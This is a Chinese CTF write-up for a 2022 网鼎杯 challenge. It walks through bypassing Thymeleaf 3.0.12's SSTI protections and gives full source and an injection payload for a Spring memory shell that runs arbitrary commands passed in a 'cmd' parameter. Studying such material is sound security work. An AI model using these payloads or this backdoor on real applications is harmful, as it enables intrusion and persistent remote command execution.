2022 网鼎杯玄武组-you can find it 题解—Spring通用MemShell改造
字数 1681 2025-08-26 22:11:29

Spring通用MemShell改造与Thymeleaf SSTI漏洞利用详解

概述

本文详细分析2022年网鼎杯玄武组CTF题目"you can find it"的解题思路,重点讲解Thymeleaf SSTI漏洞原理、绕过技巧以及Spring通用内存马(MemShell)的改造过程。题目提供了一个findIT.jar文件,环境为不出网环境,主要考察以下技术点:

  1. Thymeleaf SSTI漏洞原理
  2. Thymeleaf SSTI漏洞修复绕过技巧
  3. Spring内存马编写
  4. Apache Tomcat 9 URL特殊字符处理与替代
  5. JAR文件调试技术

一、Thymeleaf SSTI漏洞及绕过

漏洞发现

题目中的SpringBoot项目存在两个关键路由:

  • /path路由:虽然Fragment可控可能存在SPEL注入,但使用了@ResponseBody注解,不存在漏洞
  • /doc/{data}路由:未使用@ResponseBody注解,存在注入可能

初始Payload尝试

尝试直接执行命令:

http://127.0.0.1:8080/doc/__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x

返回错误:

View name is an executable expression, and it is present in a literal manner in request path or parameters, which is forbidden for security reasons.

Thymeleaf 3.0.12安全机制

该版本做了两处安全提升:

  1. 禁止在URL路径或参数中直接使用可执行表达式
  2. 从URL获取视图名称时,如果包含fragment表达式会避免执行

绕过技巧

  1. 路径分隔符绕过

    • /path;/payload
    • //path/payload
    • /path/;/payload (类似Shiro权限绕过)
  2. Fragment补全
    需要补全::main.x部分:

    ${T(java.lang.Runtime).getRuntime().exec("id")}::main.x
    
  3. T关键字绕过
    在T后添加空格%20绕过检测

最终Payload结构

http://127.0.0.1:8080/doc/;/__${T%20(java.lang.Runtime).getRuntime().exec("id")}__::main.x

二、Spring通用回显内存马改造

由于环境不出网且无回显,需要注入内存马实现回显。

原始内存马问题

参考的Spring Cloud Function内存马payload使用了org.springframework.web.reactive.HandlerMapping,但题目环境没有该组件,导致报错。

改造思路

使用registerMapping注册路径为/*的RequestMapping:

public void registerMapping(T mapping, Object handler, Method method) {
    if (this.logger.isTraceEnabled()) {
        this.logger.trace("Register \"" + mapping + "\" to " + method.toGenericString());
    }
    this.mappingRegistry.register(mapping, handler, method);
}

改造后代码

public class SpringRequestMappingMemshell {
    public static String doInject(Object requestMappingHandlerMapping) {
        String msg = "inject-start";
        try {
            Method registerMapping = requestMappingHandlerMapping.getClass().getMethod(
                "registerMapping", Object.class, Object.class, Method.class);
            registerMapping.setAccessible(true);
            Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod(
                "executeCommand", String.class);
            PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition("/*");
            RequestMethodsRequestCondition methodsRequestCondition = new RequestMethodsRequestCondition();
            RequestMappingInfo requestMappingInfo = new RequestMappingInfo(
                patternsRequestCondition, methodsRequestCondition, null, null, null, null, null);
            registerMapping.invoke(requestMappingHandlerMapping, 
                requestMappingInfo, new SpringRequestMappingMemshell(), executeCommand);
            msg = "inject-success";
        } catch (Exception e) {
            e.printStackTrace();
            msg = "inject-error";
        }
        return msg;
    }

    public ResponseEntity executeCommand(@RequestParam(value = "cmd") String cmd) throws IOException {
        String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream())
            .useDelimiter("\\A").next();
        return new ResponseEntity(execResult, HttpStatus.OK);
    }
}

三、利用SPEL漏洞加载恶意类

使用org.springframework.cglib.core.ReflectUtils#defineClass方法加载恶意类:

T (org.springframework.cglib.core.ReflectUtils).defineClass(
    "SpringRequestMappingMemshell",
    T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("Base64编码的类字节码"),
    new javax.management.loading.MLet(new java.net.URL[0], 
        T (java.lang.Thread).currentThread().getContextClassLoader())
).doInject(
    T (org.springframework.web.context.request.RequestContextHolder)
        .currentRequestAttributes()
        .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0)
        .getBean(T (Class).forName(
            "org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"))
)

四、Apache Tomcat 9 URL特殊字符处理

问题1:斜杠(/)字符

Payload中的/会被Tomcat解析为路径分隔符,导致404错误。直接编码为%2F会导致400错误。

解决方案
使用org.springframework.util.Base64Utils.encodeToUrlSafeString处理类字节码,生成URL安全的Base64编码。

问题2:方括号([])字符

Payload中的[]需要URL编码:

  • [%5B
  • ]%5D

替代方案
可以用java.net.URL("http","127.0.0.1","1.txt")替代java.net.URL[0]

五、Thymeleaf过滤new关键字处理

Thymeleaf 3.0.12的containsSpELInstantiationOrStatic方法会过滤new关键字。

绕过技巧
使用大小写混合形式NeWnEw绕过检测。

六、完整利用Payload

__${T (org.springframework.cglib.core.ReflectUtils).defineClass(
    "SpringRequestMappingMemshell",
    T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("Base64编码"),
    nEw javax.management.loading.MLet(
        NeW java.net.URL("http","127.0.0.1","1.txt"),
        T (java.lang.Thread).currentThread().getContextClassLoader()
    )
).doInject(
    T (org.springframework.web.context.request.RequestContextHolder)
        .currentRequestAttributes()
        .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0)
        .getBean(T (Class).forName(
            "org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"))
)}__::main.x

注入成功后,访问任意路径并添加cmd参数即可执行命令:

http://127.0.0.1:8080/任意路径?cmd=whoami

七、总结

本题涉及的关键技术点:

  1. Thymeleaf SSTI漏洞:理解视图解析机制和表达式执行流程
  2. 安全机制绕过:路径分隔符、T关键字、new关键字等绕过技巧
  3. 内存马改造:根据环境适配不同的注册方式
  4. 特殊字符处理:Tomcat对URL的特殊字符处理规则
  5. 类加载技巧:使用ReflectUtils动态加载恶意类

通过这道题目,可以深入理解Spring框架的安全机制和绕过技巧,以及内存马的灵活运用。

Spring通用MemShell改造与Thymeleaf SSTI漏洞利用详解 概述 本文详细分析2022年网鼎杯玄武组CTF题目"you can find it"的解题思路,重点讲解Thymeleaf SSTI漏洞原理、绕过技巧以及Spring通用内存马(MemShell)的改造过程。题目提供了一个findIT.jar文件,环境为不出网环境,主要考察以下技术点: Thymeleaf SSTI漏洞原理 Thymeleaf SSTI漏洞修复绕过技巧 Spring内存马编写 Apache Tomcat 9 URL特殊字符处理与替代 JAR文件调试技术 一、Thymeleaf SSTI漏洞及绕过 漏洞发现 题目中的SpringBoot项目存在两个关键路由: /path 路由:虽然Fragment可控可能存在SPEL注入,但使用了 @ResponseBody 注解,不存在漏洞 /doc/{data} 路由:未使用 @ResponseBody 注解,存在注入可能 初始Payload尝试 尝试直接执行命令: 返回错误: Thymeleaf 3.0.12安全机制 该版本做了两处安全提升: 禁止在URL路径或参数中直接使用可执行表达式 从URL获取视图名称时,如果包含fragment表达式会避免执行 绕过技巧 路径分隔符绕过 : /path;/payload //path/payload /path/;/payload (类似Shiro权限绕过) Fragment补全 : 需要补全 ::main.x 部分: T关键字绕过 : 在T后添加空格 %20 绕过检测 最终Payload结构 二、Spring通用回显内存马改造 由于环境不出网且无回显,需要注入内存马实现回显。 原始内存马问题 参考的Spring Cloud Function内存马payload使用了 org.springframework.web.reactive.HandlerMapping ,但题目环境没有该组件,导致报错。 改造思路 使用 registerMapping 注册路径为 /* 的RequestMapping: 改造后代码 三、利用SPEL漏洞加载恶意类 使用 org.springframework.cglib.core.ReflectUtils#defineClass 方法加载恶意类: 四、Apache Tomcat 9 URL特殊字符处理 问题1:斜杠(/)字符 Payload中的 / 会被Tomcat解析为路径分隔符,导致404错误。直接编码为 %2F 会导致400错误。 解决方案 : 使用 org.springframework.util.Base64Utils.encodeToUrlSafeString 处理类字节码,生成URL安全的Base64编码。 问题2:方括号([ ])字符 Payload中的 [] 需要URL编码: [ → %5B ] → %5D 替代方案 : 可以用 java.net.URL("http","127.0.0.1","1.txt") 替代 java.net.URL[0] 五、Thymeleaf过滤new关键字处理 Thymeleaf 3.0.12的 containsSpELInstantiationOrStatic 方法会过滤 new 关键字。 绕过技巧 : 使用大小写混合形式 NeW 或 nEw 绕过检测。 六、完整利用Payload 注入成功后,访问任意路径并添加 cmd 参数即可执行命令: 七、总结 本题涉及的关键技术点: Thymeleaf SSTI漏洞 :理解视图解析机制和表达式执行流程 安全机制绕过 :路径分隔符、T关键字、new关键字等绕过技巧 内存马改造 :根据环境适配不同的注册方式 特殊字符处理 :Tomcat对URL的特殊字符处理规则 类加载技巧 :使用ReflectUtils动态加载恶意类 通过这道题目,可以深入理解Spring框架的安全机制和绕过技巧,以及内存马的灵活运用。